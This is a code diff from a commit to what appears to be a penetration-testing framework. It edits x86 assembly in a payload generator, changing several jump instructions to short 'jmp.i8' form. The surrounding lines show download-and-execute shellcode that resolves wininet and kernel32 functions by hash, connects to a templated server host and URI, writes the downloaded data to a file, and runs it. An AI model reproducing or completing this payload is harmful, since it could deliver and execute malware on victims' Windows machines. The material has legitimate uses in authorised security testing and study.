@@ -216,7 +216,7 @@ def generate
216
216
pop edi ; Pop off the current (now the previous) modules hash
217
217
pop edx ; Restore our position in the module list
218
218
mov edx, [edx] ; Get the next module
219
- jmp next_mod ; Process this module
219
+ jmp.i8 next_mod ; Process this module
220
220
221
221
; actual routine
222
222
start:
@@ -240,7 +240,7 @@ def generate
240
240
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
241
241
call ebp
242
242
243
- jmp dbl_get_server_host
243
+ jmp.i8 dbl_get_server_host
244
244
245
245
internetconnect:
246
246
pop ebx ; Save the hostname pointer
@@ -256,7 +256,7 @@ def generate
256
256
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
257
257
call ebp
258
258
259
- jmp get_server_uri
259
+ jmp.i8 get_server_uri
260
260
261
261
httpopenrequest:
262
262
pop ecx
@@ -303,7 +303,7 @@ def generate
303
303
try_it_again:
304
304
dec ebx
305
305
jz thats_all_folks ; failure -> exit
306
- jmp set_security_options
306
+ jmp.i8 set_security_options
307
307
308
308
dbl_get_server_host:
309
309
jmp get_server_host
@@ -315,7 +315,7 @@ def generate
315
315
db "/#{ server_uri } ", 0x00
316
316
317
317
create_file:
318
- jmp get_filename
318
+ jmp.i8 get_filename
319
319
320
320
get_filename_return:
321
321
xor eax,eax ; zero eax
@@ -365,7 +365,7 @@ def generate
365
365
push 0x5BAE572D ; kernel32.dll!WriteFile
366
366
call ebp
367
367
sub esp,4 ; set stack back to where it was
368
- jmp download_more
368
+ jmp.i8 download_more
369
369
370
370
close_and_run:
371
371
push ebx
0 commit comments